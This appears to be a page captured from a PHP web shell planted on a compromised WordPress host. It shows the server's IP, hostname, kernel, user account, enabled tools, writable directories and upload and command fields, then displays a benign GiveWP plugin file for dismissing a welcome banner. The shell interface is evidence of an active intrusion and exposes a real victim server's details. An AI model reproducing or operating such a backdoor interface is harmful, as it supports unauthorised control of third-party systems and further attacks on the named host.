403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.142.134.67
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/7779/cwd/plugins/give/src/Promotions/WelcomeBanner/Endpoints/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/7779/cwd/plugins/give/src/Promotions/WelcomeBanner/Endpoints/DismissWelcomeBannerRoute.php
<?php

namespace Give\Promotions\WelcomeBanner\Endpoints;

use Give\API\RestRoute;
use WP_Error;
use WP_REST_Request;
use WP_REST_Response;

class DismissWelcomeBannerRoute implements RestRoute
{
    /**
     * @var string
     * @since 3.0.0
     */
    protected $endpoint = 'welcome-banner/dismiss';

    /**
     * @inheritDoc
     * @since 3.0.0
     */
    public function registerRoute(): void
    {
        register_rest_route(
            'give-api/v2',
            $this->endpoint,
            [
                [
                    'methods' => 'POST',
                    'callback' => [$this, 'handleRequest'],
                    'permission_callback' => [$this, 'permissionsCheck'],
                    'args' => [
                        'action' => [
                            'type' => 'string',
                            'required' => true,
                        ],
                    ],
                ],
            ]
        );
    }

    /**
     * @since 3.0.0
     */
    public function permissionsCheck()
    {
        if (!current_user_can('manage_options')) {
            return new WP_Error(
                'rest_forbidden',
                esc_html__(
                    'You don\'t have permission to dismiss options. Only users with the "manage_options" capability can perform this action.',
                    'give'
                ),
                ['status' => $this->authorizationStatusCode()]
            );
        }

        return true;
    }

    /**
     * Sets up the proper HTTP status code for authorization.
     * @return int
     * @since 3.0.0
     */
    public function authorizationStatusCode(): int
    {
        if (is_user_logged_in()) {
            return 403;
        }

        return 401;
    }

    /**
     * @param WP_REST_Request $request
     *
     * @return WP_REST_Response
     * @since 3.0.0
     */
    public function handleRequest(WP_REST_Request $request): WP_REST_Response
    {
        update_option($request->get_param('action'), time());

        return new WP_REST_Response(['banner_dismissed' => $request->get_param('action')]);
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit